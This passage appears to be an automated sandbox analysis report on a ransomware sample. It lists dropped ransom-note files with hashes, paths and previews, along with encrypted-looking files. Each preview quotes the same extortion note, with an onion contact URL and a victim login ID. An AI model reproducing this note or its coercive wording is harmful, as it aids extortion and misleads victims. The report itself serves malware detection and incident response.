Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Media Player\en-GB\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Media Player\en-US\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Media Player\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Multimedia Platform\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows NT\Accessories\en-GB\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows NT\Accessories\en-US\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows NT\Accessories\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows NT\TableTextService\en-US\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows NT\TableTextService\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows NT\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Photo Viewer\en-GB\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Photo Viewer\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Portable Devices\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Security\BrowserCore\en-US\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Security\BrowserCore\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\Windows Security\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\WindowsPowerShell\Modules\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\WindowsPowerShell\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	false
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\Program Files\instructions_read_me.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.792349826578809
Encrypted:	false
SSDEEP:
MD5:	726CE44468FD2F6AE38E2E4BF2BAEE96
SHA1:	73AFB5947C8AD295EA6B1B70826402346C070935
SHA-256:	B54D6DDE66A659069E69C8BAC9AF629B40F4907C1FC7B9FC1F76D5EB42384E50
SHA-512:	B26709072CC866150C492F92A6A1483A8582F6145CF8CFC10230797C9E0960E063FDA58E2741AE1ED88DED0480184B2264B59D1554030DF0CFD8AFA2CA8C5113
Malicious:	true
Preview:	ATTENTION!..Your network has been breached and all data was encrypted. Please contact us at:..https://bastad5huzwkepdixedg2gekg7jk22ato24zyllp6lnjx7wdtyctgvyd.onion/ ......Login ID: 56da98ec-b499-4ad2-b5d3-efd4f05df352......! To access .onion websites download and install Tor Browser at:.... https://www.torproject.org/ (Tor Browser is not related to us)....! To restore all your PCs and get your network working again, follow these instructions:....- Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. It doesn't matter, who are trying to do this, either it will be your IT guys or a recovery agency.....Please follow these simple rules to avoid data corruption:....- Do not modify, rename or delete files. Any attempts to modify, decrypt or rename the files will lead to its fatal corruption. ....- Do not hire a recovery company. They can't decrypt without the key. ..They also don't care about your business. They believe that they are ..good negotiator

C:\ProgramData\.curlrc

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.918692887470105
Encrypted:	false
SSDEEP:
MD5:	A00AA95C83610AB1EFA815640A2CA0D6
SHA1:	9B9345E21C67CA5A15C96DFFBAEB0139DC006D47
SHA-256:	618E24DB074C0FC4AEDAD8F3678FD0566813CCA41EB6BC2EAC8BA671C60FDBA8
SHA-512:	DD7831D4A1F1EFD4782F698958A53B638D0F38065EC402A9821FEC9463A7AAD6F3BA3FE5A90ADC1F45BA039A38FF937B69243E4AA2087BBFE807855644166D38
Malicious:	false
Preview:	..,k.KQ;....R...X0~.}Cm......\.....:.v....^.."..N..=....eO.$.2-4.E.Y.........@.}*T.C.J.+..!,..2tDeO./......4.[.b=k...z..X!.<..5........o.;......!.......g..R...me.2T.Q_..o.~....\|...Br[.TV..=..O..pOM..x,o.............................................................................................29yp10v5m8k.

C:\ProgramData\.curlrc.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.918692887470105
Encrypted:	false
SSDEEP:
MD5:	A00AA95C83610AB1EFA815640A2CA0D6
SHA1:	9B9345E21C67CA5A15C96DFFBAEB0139DC006D47
SHA-256:	618E24DB074C0FC4AEDAD8F3678FD0566813CCA41EB6BC2EAC8BA671C60FDBA8
